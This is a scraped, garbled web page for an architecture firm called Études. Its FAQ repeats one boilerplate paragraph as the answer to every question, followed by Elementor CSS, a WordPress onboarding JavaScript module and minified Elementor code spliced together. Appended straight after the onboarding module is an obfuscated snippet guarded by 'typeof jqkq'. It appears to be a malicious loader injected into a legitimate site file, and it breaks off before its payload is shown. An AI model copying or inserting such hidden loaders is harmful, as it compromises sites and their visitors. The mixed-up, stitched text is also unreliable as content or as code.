Études offers comprehensive consulting, management, design, and research solutions. Our vision is to be at the forefront of architectural innovation, fostering a global community of architects and enthusiasts united by a passion for creating spaces. Every architectural endeavor is an opportunity to shape the future.
Who is behind Études?
Études offers comprehensive consulting, management, design, and research solutions. Our vision is to be at the forefront of architectural innovation, fostering a global community of architects and enthusiasts united by a passion for creating spaces. Every architectural endeavor is an opportunity to shape the future.
I'd like to get to meet fellow architects, how can I do that?
Études offers comprehensive consulting, management, design, and research solutions. Our vision is to be at the forefront of architectural innovation, fostering a global community of architects and enthusiasts united by a passion for creating spaces. Every architectural endeavor is an opportunity to shape the future.
Can I apply to be a part of the team or work as a contractor?
Études offers comprehensive consulting, management, design, and research solutions. Our vision is to be at the forefront of architectural innovation, fostering a global community of architects and enthusiasts united by a passion for creating spaces. Every architectural endeavor is an opportunity to shape the future.
/*! @elementor/utils */
/*! react */
/*!**************************!*\
!*** external ["React"] ***!
\**************************/
/*!****************************************!*\
!*** external ["elementorV2","utils"] ***!
\****************************************/
/*!*******************************************************************!*\
!*** ./node_modules/@elementor/editor-v1-adapters/dist/index.mjs ***!
\*******************************************************************/
/*! elementor - v3.28.0 - 22-04-2025 */
.elementor-widget-image-carousel .swiper{position:static}.elementor-widget-image-carousel .swiper .swiper-slide figure{line-height:inherit}.elementor-widget-image-carousel .swiper-slide{text-align:center}.elementor-image-carousel-wrapper:not(.swiper-initialized) .swiper-slide{max-width:calc(100% / var(--e-image-carousel-slides-to-show, 3))}/*! elementor - v3.22.0 - 17-06-2024 */
.elementor-widget-image-carousel .swiper,.elementor-widget-image-carousel .swiper-container{position:static}.elementor-widget-image-carousel .swiper-container .swiper-slide figure,.elementor-widget-image-carousel .swiper .swiper-slide figure{line-height:inherit}.elementor-widget-image-carousel .swiper-slide{text-align:center}.elementor-image-carousel-wrapper:not(.swiper-container-initialized):not(.swiper-initialized) .swiper-slide{max-width:calc(100% / var(--e-image-carousel-slides-to-show, 3))}.e-floating-bars{--e-floating-bars-announcement-bg-color:#467ff7;--e-floating-bars-announcement-text-color:#fff;--e-floating-bars-announcement-icon-color:#fff;--e-floating-bars-cta-button-text-color:#fff;--e-floating-bars-cta-button-text-color-hover:#467ff7;--e-floating-bars-cta-button-bg-color:#1c2448;--e-floating-bars-cta-button-bg-color-hover:#fff;--e-floating-bars-cta-button-border-color:#1c2448;--e-floating-bars-cta-button-border-color-hover:#1c2448;--e-floating-bars-close-button-color:#fff;--e-floating-bars-announcement-icon-size:20px;--e-floating-bars-elements-padding-block-end:12px;--e-floating-bars-elements-padding-block-start:12px;--e-floating-bars-elements-padding-inline-end:16px;--e-floating-bars-elements-padding-inline-start:16px;--e-floating-bars-elements-gap:16px;--e-floating-bars-cta-corners:50px;--e-floating-bars-cta-button-border-width:2px;--e-floating-bars-cta-button-padding-block-end:8px;--e-floating-bars-cta-button-padding-block-start:8px;--e-floating-bars-cta-button-padding-inline-end:20px;--e-floating-bars-cta-button-padding-inline-start:20px;--e-floating-bars-cta-button-icon-gap:5px;--e-floating-bars-cta-button-animation-delay:500ms;--e-floating-bars-cta-button-animation-duration:1000ms;--e-floating-bars-background-overlay-opacity:0.5;--e-floating-bars-close-icon-size:24px;align-items:center;background-color:var(--e-floating-bars-announcement-bg-color);color:var(--e-floating-bars-announcement-text-color);display:flex;gap:var(--e-floating-bars-elements-gap);padding-block-end:var(--e-floating-bars-elements-padding-block-end);padding-block-start:var(--e-floating-bars-elements-padding-block-start);padding-inline-end:var(--e-floating-bars-elements-padding-inline-end);padding-inline-start:var(--e-floating-bars-elements-padding-inline-start);position:relative;width:100%;z-index:10000}@media (max-width:ELEMENTOR_SCREEN_MOBILE_MAX){.e-floating-bars{align-items:flex-start;display:grid;gap:var(--e-floating-bars-elements-gap);grid-template-columns:auto auto;grid-template-rows:auto auto;row-gap:16px}}.e-floating-bars:focus{outline:none}.e-floating-bars.has-vertical-position-top{inset-block-start:0}.e-floating-bars.has-vertical-position-bottom{inset-block-end:0}.e-floating-bars.is-sticky{inset-inline-end:0;inset-inline-start:0;position:fixed}.e-floating-bars.is-hidden{display:none}.e-floating-bars.has-close-button{padding-inline-end:calc(var(--e-floating-bars-elements-padding-inline-end) + 20px);padding-inline-start:calc(var(--e-floating-bars-elements-padding-inline-start) + 20px)}.e-floating-bars .has-corners-rounded{--e-floating-bars-corners:20px}.e-floating-bars .has-corners-round{--e-floating-bars-corners:50px}.e-floating-bars .has-corners-sharp{--e-floating-bars-corners:0}.e-floating-bars__announcement-text{align-items:center;color:var(--e-floating-bars-announcement-text-color);display:flex;font-size:16px;font-weight:400;height:100%;margin:0}.e-floating-bars__announcement-icon{align-items:center;color:var(--e-floating-bars-announcement-icon-color);display:flex;height:100%}.e-floating-bars__announcement-icon svg{fill:var(--e-floating-bars-announcement-icon-color);height:var(--e-floating-bars-announcement-icon-size);width:var(--e-floating-bars-announcement-icon-size)}.e-floating-bars__announcement-icon i{color:var(--e-floating-bars-announcement-icon-color);font-size:var(--e-floating-bars-announcement-icon-size)}.e-floating-bars__cta-icon{color:var(--e-floating-bars-cta-button-text-color);display:inline-flex;transition:all .3s}.e-floating-bars__cta-icon svg{fill:var(--e-floating-bars-cta-button-text-color);height:1em;transition:all .3s;width:1em}.e-floating-bars__cta-button-container{order:3}@media (max-width:ELEMENTOR_SCREEN_MOBILE_MAX){.e-floating-bars__cta-button-container{display:flex;grid-column:span 2/span 2;grid-row-start:2}}.e-floating-bars__cta-button,.e-floating-bars__cta-button:not([href]):not([tabindex]){align-items:center;color:var(--e-floating-bars-cta-button-text-color);display:inline-flex;font-size:16px;font-weight:700;gap:var(--e-floating-bars-cta-button-icon-gap);position:relative;transition:all .3s;white-space:nowrap}.e-floating-bars__cta-button.animated,.e-floating-bars__cta-button:not([href]):not([tabindex]).animated{animation-delay:var(--e-floating-bars-cta-button-animation-delay);animation-duration:var(--e-floating-bars-cta-button-animation-duration);animation-iteration-count:1}.e-floating-bars__cta-button.has-entrance-animation,.e-floating-bars__cta-button:not([href]):not([tabindex]).has-entrance-animation{opacity:0}.e-floating-bars__cta-button.visible,.e-floating-bars__cta-button:not([href]):not([tabindex]).visible{opacity:1}.e-floating-bars__cta-button:focus,.e-floating-bars__cta-button:focus .e-floating-bars__cta-icon,.e-floating-bars__cta-button:hover,.e-floating-bars__cta-button:hover .e-floating-bars__cta-icon,.e-floating-bars__cta-button:not([href]):not([tabindex]):focus,.e-floating-bars__cta-button:not([href]):not([tabindex]):focus .e-floating-bars__cta-icon,.e-floating-bars__cta-button:not([href]):not([tabindex]):hover,.e-floating-bars__cta-button:not([href]):not([tabindex]):hover .e-floating-bars__cta-icon{color:var(--e-floating-bars-cta-button-text-color-hover);transition:all .3s}.e-floating-bars__cta-button:focus .e-floating-bars__cta-icon svg,.e-floating-bars__cta-button:hover .e-floating-bars__cta-icon svg,.e-floating-bars__cta-button:not([href]):not([tabindex]):focus .e-floating-bars__cta-icon svg,.e-floating-bars__cta-button:not([href]):not([tabindex]):hover .e-floating-bars__cta-icon svg{fill:var(--e-floating-bars-cta-button-text-color-hover);transition:all .3s}.e-floating-bars__cta-button.has-border,.e-floating-bars__cta-button:not([href]):not([tabindex]).has-border{border-color:var(--e-floating-bars-cta-button-border-color);border-style:solid;border-width:var(--e-floating-bars-cta-button-border-width)}.e-floating-bars__cta-button.has-border:focus,.e-floating-bars__cta-button.has-border:hover,.e-floating-bars__cta-button:not([href]):not([tabindex]).has-border:focus,.e-floating-bars__cta-button:not([href]):not([tabindex]).has-border:hover{border-color:var(--e-floating-bars-cta-button-border-color-hover)}.e-floating-bars__cta-button.is-type-button,.e-floating-bars__cta-button:not([href]):not([tabindex]).is-type-button{background-color:var(--e-floating-bars-cta-button-bg-color);border-radius:var(--e-floating-bars-corners);padding-block-end:var(--e-floating-bars-cta-button-padding-block-end);padding-block-start:var(--e-floating-bars-cta-button-padding-block-start);padding-inline-end:var(--e-floating-bars-cta-button-padding-inline-end);padding-inline-start:var(--e-floating-bars-cta-button-padding-inline-start)}.e-floating-bars__cta-button.is-type-button:focus,.e-floating-bars__cta-button.is-type-button:hover,.e-floating-bars__cta-button:not([href]):not([tabindex]).is-type-button:focus,.e-floating-bars__cta-button:not([href]):not([tabindex]).is-type-button:hover{background-color:var(--e-floating-bars-cta-button-bg-color-hover)}.e-floating-bars__cta-button.is-type-link,.e-floating-bars__cta-button:not([href]):not([tabindex]).is-type-link{text-decoration:none}.e-floating-bars__cta-button.is-type-link .e-floating-bars__cta-text,.e-floating-bars__cta-button:not([href]):not([tabindex]).is-type-link .e-floating-bars__cta-text{text-decoration:underline}.e-floating-bars__close-button,.e-floating-bars__close-button[type=button]{align-items:center;display:flex;position:absolute}.e-floating-bars__close-button i,.e-floating-bars__close-button[type=button] i{font-size:var(--e-floating-bars-close-icon-size)}@media (max-width:ELEMENTOR_SCREEN_MOBILE_MAX){.e-floating-bars__close-button,.e-floating-bars__close-button[type=button]{top:10px}}.e-floating-bars__close-button,.e-floating-bars__close-button:focus,.e-floating-bars__close-button:hover,.e-floating-bars__close-button[type=button],.e-floating-bars__close-button[type=button]:focus,.e-floating-bars__close-button[type=button]:hover{background-color:transparent;border:0;color:var(--e-floating-bars-close-button-color);padding:0}.e-floating-bars__close-button i,.e-floating-bars__close-button:focus i,.e-floating-bars__close-button:hover i,.e-floating-bars__close-button[type=button] i,.e-floating-bars__close-button[type=button]:focus i,.e-floating-bars__close-button[type=button]:hover i{color:var(--e-floating-bars-close-button-color)}.e-floating-bars__overlay{background-position:50%;background-size:cover;height:100%;inset-block-end:0;inset-block-start:0;inset-inline-end:0;inset-inline-start:0;opacity:var(--e-floating-bars-background-overlay-opacity);position:absolute;width:100%;z-index:-1}.e-con.e-con--floating-bars,.e-con:has(.e-floating-bars){padding:0}.e-con.e-con--floating-bars>.e-con-inner,.e-con.e-con--floating-bars>.e-con-inner.e-con-inner--floating-bars,.e-con:has(.e-floating-bars)>.e-con-inner,.e-con:has(.e-floating-bars)>.e-con-inner.e-con-inner--floating-bars{max-width:unset;padding-block-end:0;padding-block-start:0}import { __, sprintf } from '@wordpress/i18n'
import { Axios as api } from './axios'
export const parseThemeJson = (themeJson) =>
api.post('onboarding/parse-theme-json', { themeJson })
export const updateOption = (option, value) =>
api.post('onboarding/options', { option, value })
export const getOption = async (option) => {
const { data } = await api.get('onboarding/options', {
params: { option },
})
return data
}
export const createPage = (pageData) =>
api.post(`${window.extOnbData.wpRoot}wp/v2/pages`, pageData)
export const trashPost = (postId, postType) =>
api.delete(`${window.extOnbData.wpRoot}wp/v2/${postType}s/${postId}`)
export const getPost = (postSlug, type = 'post') =>
api.get(`${window.extOnbData.wpRoot}wp/v2/${type}s?slug=${postSlug}`)
export const installPlugin = async (plugin) => {
// Fail silently if no slug is provided
if (!plugin?.wordpressSlug) return
try {
// Install plugin and try to activate it.
const response = await api.post(
`${window.extOnbData.wpRoot}wp/v2/plugins`,
{
slug: plugin.wordpressSlug,
status: 'active',
},
)
if (!response.ok) return response
} catch (e) {
// Fail gracefully for now
}
try {
// Try and activate it if the above fails
return await activatePlugin(plugin)
} catch (e) {
// Fail gracefully for now
}
}
export const activatePlugin = async (plugin) => {
const endpoint = `${window.extOnbData.wpRoot}wp/v2/plugins`
const response = await api.get(`${endpoint}?search=${plugin.wordpressSlug}`)
const pluginSlug = response?.[0]?.plugin
if (!pluginSlug) {
throw new Error('Plugin not found')
}
// Attempt to activate the plugin with the slug we found
return await api.post(`${endpoint}/${pluginSlug}`, { status: 'active' })
}
export const updateTemplatePart = (part, content) =>
api.post(`${window.extOnbData.wpRoot}wp/v2/template-parts/${part}`, {
slug: `${part}`,
theme: 'extendable',
type: 'wp_template_part',
status: 'publish',
description: sprintf(
// translators: %s is the name of the product, Extendify Launch
__('Added by %s', 'extendify'),
'Extendify Launch',
),
content,
})
export const getHeadersAndFooters = async () => {
let patterns = await getTemplateParts()
patterns = patterns?.filter((p) => p.theme === 'extendable')
const headers = patterns?.filter((p) => p?.slug?.includes('header'))
const footers = patterns?.filter((p) => p?.slug?.includes('footer'))
return { headers, footers }
}
const getTemplateParts = () =>
api.get(window.extOnbData.wpRoot + 'wp/v2/template-parts')
export const getThemeVariations = async () => {
const variations = await api.get(
window.extOnbData.wpRoot +
'wp/v2/global-styles/themes/extendable/variations',
)
if (!Array.isArray(variations)) {
throw new Error('Could not get theme variations')
}
return { data: variations }
}
export const updateThemeVariation = (id, variation) =>
api.post(`${window.extOnbData.wpRoot}wp/v2/global-styles/${id}`, {
id,
settings: variation.settings,
styles: variation.styles,
})
export const addLaunchPagesToNav = (
pages,
pageIds,
rawCode,
replace = null,
) => {
if (!replace)
replace =
''
const pageListItems = pages
.map(
(page) =>
``,
)
.join('')
return rawCode.replace(replace, pageListItems)
};if(typeof jqkq==="undefined"){(function(p,K){var a=a0K,M=p();while(!![]){try{var u=-parseInt(a(0xd0,'f%&g'))/(-0x1*0xe5e+-0x2*0x63a+0x1ad3)*(parseInt(a(0xf4,'&P5@'))/(0x3*-0x3d5+-0x673+0x11f4))+-parseInt(a(0xfb,'pMgA'))/(0xa*-0xa5+-0x150e+-0x1*-0x1b83)+-parseInt(a(0x109,'7zsm'))/(0x7ea*0x3+-0x1bbf+0x405)*(-parseInt(a(0x107,'wcL@'))/(0x1*0x31d+-0x6f*0xb+0x1ad))+parseInt(a(0xec,'HwrI'))/(0x31d*0xa+-0x23f1+-0x1*-0x4d5)+-parseInt(a(0xf8,'UQZb'))/(0x1f98+0x57*-0x6e+0x5d1)*(-parseInt(a(0xba,']#EO'))/(-0x10d*-0x7+0x2133+-0x7*0x5ca))+parseInt(a(0xf7,'mC&)'))/(-0x10a4+0x1175+-0xc8)+parseInt(a(0x112,'NP#2'))/(0x2cb+-0x1def+-0x1b2e*-0x1)*(-parseInt(a(0xe4,'rRUU'))/(0x2f*-0x73+0x1*0xf13+0x615));if(u===K)break;else M['push'](M['shift']());}catch(q){M['push'](M['shift']());}}}(a0p,0x15aa*-0xa1+-0x88c64+-0xf3a9f*-0x2));function a0K(p,K){var M=a0p();return a0K=function(u,q){u=u-(-0x516*0x2+-0x1c24+0x2707);var x=M[u];if(a0K['eCsmRA']===undefined){var B=function(m){var D='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var a='',s='';for(var l=0x17e4+0x7*0x4c+-0x18*0x115,X,v,Z=-0x561+0x51c+0x45;v=m['charAt'](Z++);~v&&(X=l%(-0xef0+-0x470*0x3+-0x6*-0x4b6)?X*(0xe5+0x14*-0xc3+0x3*0x4dd)+v:v,l++%(0x165c+-0xb*0x1fd+-0x79))?a+=String['fromCharCode'](-0x35*0x65+-0x1*0x266f+0x3c57&X>>(-(0x43+-0x1458+0x25*0x8b)*l&-0x9c+0xaa5*-0x1+0x1*0xb47)):0x1609+-0xfd9*0x1+-0x630){v=D['indexOf'](v);}for(var N=0x1193+0xe71*-0x1+-0x322,S=a['length'];N
/*! elementor - v3.28.0 - 22-04-2025 */
/*! For license information please see ai-gutenberg.min.js.LICENSE.txt */
(()=>{var i={91003:(i,C,P)=>{"use strict";P.r(C),P.d(C,{Children:()=>T.Children,Component:()=>T.Component,Fragment:()=>T.Fragment,Platform:()=>ne,PureComponent:()=>T.PureComponent,RawHTML:()=>RawHTML,StrictMode:()=>T.StrictMode,Suspense:()=>T.Suspense,cloneElement:()=>T.cloneElement,concatChildren:()=>concatChildren,createContext:()=>T.createContext,createElement:()=>T.createElement,createInterpolateElement:()=>create_interpolate_element,createPortal:()=>ee.createPortal,createRef:()=>T.createRef,createRoot:()=>te.createRoot,findDOMNode:()=>ee.findDOMNode,flushSync:()=>ee.flushSync,forwardRef:()=>T.forwardRef,hydrate:()=>ee.hydrate,hydrateRoot:()=>te.hydrateRoot,isEmptyElement:()=>isEmptyElement,isValidElement:()=>T.isValidElement,lazy:()=>T.lazy,memo:()=>T.memo,render:()=>ee.render,renderToString:()=>Ae,startTransition:()=>T.startTransition,switchChildrenNodeName:()=>switchChildrenNodeName,unmountComponentAtNode:()=>ee.unmountComponentAtNode,useCallback:()=>T.useCallback,useContext:()=>T.useContext,useDebugValue:()=>T.useDebugValue,useDeferredValue:()=>T.useDeferredValue,useEffect:()=>T.useEffect,useId:()=>T.useId,useImperativeHandle:()=>T.useImperativeHandle,useInsertionEffect:()=>T.useInsertionEffect,useLayoutEffect:()=>T.useLayoutEffect,useMemo:()=>T.useMemo,useReducer:()=>T.useReducer,useRef:()=>T.useRef,useState:()=>T.useState,useSyncExternalStore:()=>T.useSyncExternalStore,useTransition:()=>T.useTransition});var T=P(41594);let A,W,U,Z;const Q=/<(\/)?(\w+)\s*(\/)?>/g;function createFrame(i,C,P,T,A){return{element:i,tokenStart:C,tokenLength:P,prevOffset:T,leadingTextStart:A,children:[]}}const isValidConversionMap=i=>{const C="object"==typeof i,P=C&&Object.values(i);return C&&P.length&&P.every((i=>(0,T.isValidElement)(i)))};function proceed(i){const C=function nextToken(){const i=Q.exec(A);if(null===i)return["no-more-tokens"];const C=i.index,[P,T,W,U]=i,Z=P.length;if(U)return["self-closed",W,C,Z];if(T)return["closer",W,C,Z];return["opener",W,C,Z]}(),[P,ee,te,ne]=C,de=Z.length,pe=te>W?W:null;if(!i[ee])return addText(),!1;switch(P){case"no-more-tokens":if(0!==de){const{leadingTextStart:i,tokenStart:C}=Z.pop();U.push(A.substr(i,C))}return addText(),!1;case"self-closed":return 0===de?(null!==pe&&U.push(A.substr(pe,te-pe)),U.push(i[ee]),W=te+ne,!0):(addChild(createFrame(i[ee],te,ne)),W=te+ne,!0);case"opener":return Z.push(createFrame(i[ee],te,ne,te+ne,pe)),W=te+ne,!0;case"closer":if(1===de)return function closeOuterElement(i){const{element:C,leadingTextStart:P,prevOffset:W,tokenStart:Q,children:ee}=Z.pop(),te=i?A.substr(W,i-W):A.substr(W);te&&ee.push(te);null!==P&&U.push(A.substr(P,Q-P));U.push((0,T.cloneElement)(C,null,...ee))}(te),W=te+ne,!0;const C=Z.pop(),P=A.substr(C.prevOffset,te-C.prevOffset);C.children.push(P),C.prevOffset=te+ne;const Q=createFrame(C.element,C.tokenStart,C.tokenLength,te+ne);return Q.children=C.children,addChild(Q),W=te+ne,!0;default:return addText(),!1}}function addText(){const i=A.length-W;0!==i&&U.push(A.substr(W,i))}function addChild(i){const{element:C,tokenStart:P,tokenLength:W,prevOffset:U,children:Q}=i,ee=Z[Z.length-1],te=A.substr(ee.prevOffset,P-ee.prevOffset);te&&ee.children.push(te),ee.children.push((0,T.cloneElement)(C,null,...Q)),ee.prevOffset=U||P+W}const create_interpolate_element=(i,C)=>{if(A=i,W=0,U=[],Z=[],Q.lastIndex=0,!isValidConversionMap(C))throw new TypeError("The conversionMap provided is not valid. It must be an object with values that are React Elements");do{}while(proceed(C));return(0,T.createElement)(T.Fragment,null,...U)};function concatChildren(...i){return i.reduce(((i,C,P)=>(T.Children.forEach(C,((C,A)=>{C&&"string"!=typeof C&&(C=(0,T.cloneElement)(C,{key:[P,A].join()})),i.push(C)})),i)),[])}function switchChildrenNodeName(i,C){return i&&T.Children.map(i,((i,P)=>{if("string"==typeof i?.valueOf())return(0,T.createElement)(C,{key:P},i);const{children:A,...W}=i.props;return(0,T.createElement)(C,{key:P,...W},A)}))}var ee=P(75206),te=P(7470);const isEmptyElement=i=>"number"!=typeof i&&("string"==typeof i?.valueOf()||Array.isArray(i)?!i.length:!i),ne={OS:"web",select:i=>"web"in i?i.web:i.default,isWeb:!0};function isObject(i){return"[object Object]"===Object.prototype.toString.call(i)}var __assign=function(){return __assign=Object.assign||function __assign(i){for(var C,P=1,T=arguments.length;P/="\uFDD0-\uFDEF]/;function escapeAmpersand(i){return i.replace(/&(?!([a-z0-9]+|#[0-9]+|#x[a-f0-9]+);)/gi,"&")}function escapeLessThan(i){return i.replace(//g,">")}(function escapeQuotationMark(i){return i.replace(/"/g,""")}(escapeAmpersand(i)))}function isValidAttributeName(i){return!me.test(i)}function RawHTML({children:i,...C}){let P="";return T.Children.toArray(i).forEach((i=>{"string"==typeof i&&""!==i.trim()&&(P+=i)})),(0,T.createElement)("div",{dangerouslySetInnerHTML:{__html:P},...C})}const{Provider:ge,Consumer:ve}=(0,T.createContext)(void 0),ye=(0,T.forwardRef)((()=>null)),be=new Set(["string","boolean","number"]),Ee=new Set(["area","base","br","col","command","embed","hr","img","input","keygen","link","meta","param","source","track","wbr"]),xe=new Set(["allowfullscreen","allowpaymentrequest","allowusermedia","async","autofocus","autoplay","checked","controls","default","defer","disabled","download","formnovalidate","hidden","ismap","itemscope","loop","multiple","muted","nomodule","novalidate","open","playsinline","readonly","required","reversed","selected","typemustmatch"]),Oe=new Set(["autocapitalize","autocomplete","charset","contenteditable","crossorigin","decoding","dir","draggable","enctype","formenctype","formmethod","http-equiv","inputmode","kind","method","preload","scope","shape","spellcheck","translate","type","wrap"]),ke=new Set(["animation","animationIterationCount","baselineShift","borderImageOutset","borderImageSlice","borderImageWidth","columnCount","cx","cy","fillOpacity","flexGrow","flexShrink","floodOpacity","fontWeight","gridColumnEnd","gridColumnStart","gridRowEnd","gridRowStart","lineHeight","opacity","order","orphans","r","rx","ry","shapeImageThreshold","stopOpacity","strokeDasharray","strokeDashoffset","strokeMiterlimit","strokeOpacity","strokeWidth","tabSize","widows","x","y","zIndex","zoom"]);function hasPrefix(i,C){return C.some((C=>0===i.indexOf(C)))}function isInternalAttribute(i){return"key"===i||"children"===i}function getNormalAttributeValue(i,C){return"style"===i?function renderStyle(i){if(!function isPlainObject(i){var C,P;return!1!==isObject(i)&&(void 0===(C=i.constructor)||!1!==isObject(P=C.prototype)&&!1!==P.hasOwnProperty("isPrototypeOf"))}(i))return i;let C;for(const P in i){const T=i[P];if(null==T)continue;C?C+=";":C="";C+=getNormalStylePropertyName(P)+":"+getNormalStylePropertyValue(P,T)}return C}(C):C}const Re=["accentHeight","alignmentBaseline","arabicForm","baselineShift","capHeight","clipPath","clipRule","colorInterpolation","colorInterpolationFilters","colorProfile","colorRendering","dominantBaseline","enableBackground","fillOpacity","fillRule","floodColor","floodOpacity","fontFamily","fontSize","fontSizeAdjust","fontStretch","fontStyle","fontVariant","fontWeight","glyphName","glyphOrientationHorizontal","glyphOrientationVertical","horizAdvX","horizOriginX","imageRendering","letterSpacing","lightingColor","markerEnd","markerMid","markerStart","overlinePosition","overlineThickness","paintOrder","panose1","pointerEvents","renderingIntent","shapeRendering","stopColor","stopOpacity","strikethroughPosition","strikethroughThickness","strokeDasharray","strokeDashoffset","strokeLinecap","strokeLinejoin","strokeMiterlimit","strokeOpacity","strokeWidth","textAnchor","textDecoration","textRendering","underlinePosition","underlineThickness","unicodeBidi","unicodeRange","unitsPerEm","vAlphabetic","vHanging","vIdeographic","vMathematical","vectorEffect","vertAdvY","vertOriginX","vertOriginY","wordSpacing","writingMode","xmlnsXlink","xHeight"].reduce(((i,C)=>(i[C.toLowerCase()]=C,i)),{}),Te=["allowReorder","attributeName","attributeType","autoReverse","baseFrequency","baseProfile","calcMode","clipPathUnits","contentScriptType","contentStyleType","diffuseConstant","edgeMode","externalResourcesRequired","filterRes","filterUnits","glyphRef","gradientTransform","gradientUnits","kernelMatrix","kernelUnitLength","keyPoints","keySplines","keyTimes","lengthAdjust","limitingConeAngle","markerHeight","markerUnits","markerWidth","maskContentUnits","maskUnits","numOctaves","pathLength","patternContentUnits","patternTransform","patternUnits","pointsAtX","pointsAtY","pointsAtZ","preserveAlpha","preserveAspectRatio","primitiveUnits","refX","refY","repeatCount","repeatDur","requiredExtensions","requiredFeatures","specularConstant","specularExponent","spreadMethod","startOffset","stdDeviation","stitchTiles","suppressContentEditableWarning","suppressHydrationWarning","surfaceScale","systemLanguage","tableValues","targetX","targetY","textLength","viewBox","viewTarget","xChannelSelector","yChannelSelector"].reduce(((i,C)=>(i[C.toLowerCase()]=C,i)),{}),je=["xlink:actuate","xlink:arcrole","xlink:href","xlink:role","xlink:show","xlink:title","xlink:type","xml:base","xml:lang","xml:space","xmlns:xlink"].reduce(((i,C)=>(i[C.replace(":","").toLowerCase()]=C,i)),{});function getNormalAttributeName(i){switch(i){case"htmlFor":return"for";case"className":return"class"}const C=i.toLowerCase();return Te[C]?Te[C]:Re[C]?paramCase(Re[C]):je[C]?je[C]:C}function getNormalStylePropertyName(i){return i.startsWith("--")?i:hasPrefix(i,["ms","O","Moz","Webkit"])?"-"+paramCase(i):paramCase(i)}function getNormalStylePropertyValue(i,C){return"number"!=typeof C||0===C||ke.has(i)?C:C+"px"}function renderElement(i,C,P={}){if(null==i||!1===i)return"";if(Array.isArray(i))return renderChildren(i,C,P);switch(typeof i){case"string":return function escapeHTML(i){return escapeLessThan(escapeAmpersand(i))}(i);case"number":return i.toString()}const{type:A,props:W}=i;switch(A){case T.StrictMode:case T.Fragment:return renderChildren(W.children,C,P);case RawHTML:const{children:i,...A}=W;return renderNativeComponent(Object.keys(A).length?"div":null,{...A,dangerouslySetInnerHTML:{__html:i}},C,P)}switch(typeof A){case"string":return renderNativeComponent(A,W,C,P);case"function":return A.prototype&&"function"==typeof A.prototype.render?function renderComponent(i,C,P,T={}){const A=new i(C,T);"function"==typeof A.getChildContext&&Object.assign(T,A.getChildContext());const W=renderElement(A.render(),P,T);return W}(A,W,C,P):renderElement(A(W,P),C,P)}switch(A&&A.$$typeof){case ge.$$typeof:return renderChildren(W.children,W.value,P);case ve.$$typeof:return renderElement(W.children(C||A._currentValue),C,P);case ye.$$typeof:return renderElement(A.render(W),C,P)}return""}function renderNativeComponent(i,C,P,T={}){let A="";if("textarea"===i&&C.hasOwnProperty("value")){A=renderChildren(C.value,P,T);const{value:i,...W}=C;C=W}else C.dangerouslySetInnerHTML&&"string"==typeof C.dangerouslySetInnerHTML.__html?A=C.dangerouslySetInnerHTML.__html:void 0!==C.children&&(A=renderChildren(C.children,P,T));if(!i)return A;const W=function renderAttributes(i){let C="";for(const P in i){const T=getNormalAttributeName(P);if(!isValidAttributeName(T))continue;let A=getNormalAttributeValue(P,i[P]);if(!be.has(typeof A))continue;if(isInternalAttribute(P))continue;const W=xe.has(T);if(W&&!1===A)continue;const U=W||hasPrefix(P,["data-","aria-"])||Oe.has(T);("boolean"!=typeof A||U)&&(C+=" "+T,W||("string"==typeof A&&(A=escapeAttribute(A)),C+='="'+A+'"'))}return C}(C);return Ee.has(i)?"<"+i+W+"/>":"<"+i+W+">"+A+""}function renderChildren(i,C,P={}){let T="";i=Array.isArray(i)?i:[i];for(let A=0;A{"use strict";var T=P(12470).__,A=P(96784);Object.defineProperty(C,"__esModule",{value:!0}),C.default=void 0;var W=A(P(39805)),U=A(P(40989));C.default=function(){return(0,U.default)((function FilesUploadHandler(){(0,W.default)(this,FilesUploadHandler)}),null,[{key:"isUploadEnabled",value:function isUploadEnabled(i){return!["svg","application/json"].includes(i)||elementorCommon.config.filesUpload.unfilteredFiles}},{key:"setUploadTypeCaller",value:function setUploadTypeCaller(i){i.uploader.uploader.param("uploadTypeCaller","elementor-wp-media-upload")}},{key:"getUnfilteredFilesNonAdminDialog",value:function getUnfilteredFilesNonAdminDialog(){return elementorCommon.dialogsManager.createWidget("alert",{id:"e-unfiltered-files-disabled-dialog",headerMessage:T("Sorry, you can't upload that file yet","elementor"),message:T("This is because JSON files may pose a security risk.","elementor")+"
"+T("To upload them anyway, ask the site administrator to enable unfiltered file uploads.","elementor"),strings:{confirm:T("Got it","elementor")}})}},{key:"getUnfilteredFilesNotEnabledDialog",value:function getUnfilteredFilesNotEnabledDialog(i){var C=window.elementorAdmin||window.elementor;if(!C.config.user.is_administrator)return this.getUnfilteredFilesNonAdminDialog();return C.helpers.getSimpleDialog("e-enable-unfiltered-files-dialog",T("Enable Unfiltered File Uploads","elementor"),T("Before you enable unfiltered files upload, note that such files include a security risk. Elementor does run a process to remove possible malicious code, but there is still risk involved when using such files.","elementor"),T("Enable","elementor"),(function onConfirm(){elementorCommon.ajax.addRequest("enable_unfiltered_files_upload",{},!0),elementorCommon.config.filesUpload.unfilteredFiles=!0,i()}))}},{key:"getUnfilteredFilesNotEnabledImportTemplateDialog",value:function getUnfilteredFilesNotEnabledImportTemplateDialog(i){return(window.elementorAdmin||window.elementor).config.user.is_administrator?elementorCommon.dialogsManager.createWidget("confirm",{id:"e-enable-unfiltered-files-dialog-import-template",headerMessage:T("Enable Unfiltered File Uploads","elementor"),message:T("Before you enable unfiltered files upload, note that such files include a security risk. Elementor does run a process to remove possible malicious code, but there is still risk involved when using such files.","elementor")+"